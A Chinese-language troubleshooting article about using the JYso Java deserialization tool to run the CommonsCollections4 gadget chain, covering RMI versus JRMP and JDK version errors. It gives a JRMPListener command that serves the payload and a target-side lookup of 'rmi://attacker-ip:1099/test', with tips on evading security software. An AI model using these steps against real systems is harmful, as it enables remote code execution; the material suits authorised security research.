首页
/ JYso项目中的CommonsCollections4链测试问题分析与解决

JYso项目中的CommonsCollections4链测试问题分析与解决

2025-07-10 02:29:53作者:晏闻田Solitary

背景介绍

JYso是一个Java反序列化工具,它集成了多种常见的反序列化链(Gadget Chains),其中包括著名的CommonsCollections4(CC4)链。在实际测试中,正确使用这些链对目标系统进行功能验证是研究人员的重要工作。

问题现象

用户在使用JYso测试CC4链时遇到了几个关键问题:

  1. 初始尝试使用RMI协议直接调用Deserialization/CommonsCollections4/command/Base64/Y2FsYw==路径时失败,提示RMI中没有Deserialization路由
  2. 改用JRMPListener方式时,在高版本JDK(17.0.11)下出现Permit$InitializationFailed错误
  3. 即使切换到JDK 1.8环境,JRMPListener方式也没有成功触发功能

技术分析

RMI与JRMP协议的区别

在Java反序列化中,RMI(Remote Method Invocation)和JRMP(Java Remote Method Protocol)是两种常用的协议,但它们有以下区别:

  • RMI是一个完整的远程调用框架,包含命名服务、对象序列化等功能
  • JRMP是RMI底层的传输协议,专门用于Java对象序列化传输
  • 在功能场景中,JRMPListener通常用于直接发送序列化对象

JDK版本兼容性问题

从错误信息可以看出,在高版本JDK(如17)中运行时出现了模块系统相关的访问限制:

java.lang.IllegalAccessError: class com.qi4l.jndi.RMIServer cannot access class com.sun.jndi.rmi.registry.ReferenceWrapper

这是由于JDK9引入的模块化系统对内部API访问进行了更严格的限制。同时,Permit$InitializationFailed错误表明工具中的反射机制在高版本JDK中无法正常工作。

CommonsCollections4链的特殊性

CC4链是Apache Commons Collections库中的一个反序列化链,相比CC1链,它:

  • 使用了不同的Transformer链构造方式
  • 在某些环境下可能有更高的成功率
  • 对JDK版本和依赖库版本有特定要求

解决方案

经过项目维护者的确认和修复,正确的CC4链测试方法如下:

  1. 使用JRMPListener方式

    java -cp JYso.jar com.qi4l.jndi.exploit.JRMPListener 1099 -g CommonsCollections4 -p "calc.exe"
    
  2. JDK版本选择

    • 推荐使用JDK 1.8进行测试
    • 如需使用高版本JDK,需要重新编译适配
  3. 目标系统调用

    Naming.lookup("rmi://attacker-ip:1099/test");
    

最佳实践建议

  1. 环境准备

    • 准备干净的JDK 1.8环境
    • 确保测试环境网络连通
  2. 测试流程

    • 先启动JRMPListener
    • 再触发目标系统的反序列化点
    • 观察Listener端是否收到连接并成功发送payload
  3. 问题排查

    • 检查防火墙设置
    • 确认JDK版本兼容性
    • 验证payload是否被安全软件拦截

总结

JYso项目中的CC4链测试需要特别注意协议选择和JDK版本兼容性问题。通过使用正确的JRMPListener方式并在适当的JDK环境下运行,可以成功验证功能。对于研究人员来说,理解不同链的特性和适用环境是进行有效功能验证的关键。

登录后查看全文
热门项目推荐
相关项目推荐

项目优选

收起
docsdocs
暂无描述
Markdown
827
5.48 K
kernelkernel
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
494
515
ops-nnops-nn
本项目是CANN提供的神经网络类计算算子库,实现网络在NPU上加速计算。
C++
783
1.57 K
pytorchpytorch
作为 Ascend for PyTorch 社区的核心组件,TorchNPU 是昇腾专为 PyTorch 打造的深度学习适配插件,使 PyTorch 框架能够直接调用昇腾 NPU,为开发者提供昇腾 AI 处理器的超强算力。
Python
800
1.14 K
ops-transformerops-transformer
本项目是CANN提供的transformer类大模型算子库,实现网络在NPU上加速计算。
C++
970
2.28 K
kernelkernel
deepin linux kernel
C
32
16
AscendNPU-IRAscendNPU-IR
AscendNPU-IR是基于MLIR(Multi-Level Intermediate Representation)构建的,面向昇腾亲和算子编译时使用的中间表示,提供昇腾完备表达能力,通过编译优化提升昇腾AI处理器计算效率,支持通过生态框架使能昇腾AI处理器与深度调优
C++
480
312
jiuwenswarmjiuwenswarm
JiuwenSwarm 是一款基于openJiuwen开发的智能AI Agent,它能够将大语言模型的强大能力,通过你日常使用的各类通讯应用,直接延伸至你的指尖。
Python
3.01 K
766
cannbot-skillscannbot-skills
CANNBot 是面向 CANN 开发的用于提升开发效率的系列智能体,本仓库为其提供可复用的 Skills 模块。
Markdown
1.26 K
808
cann-learning-hubcann-learning-hub
CANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。
Jupyter Notebook
647
284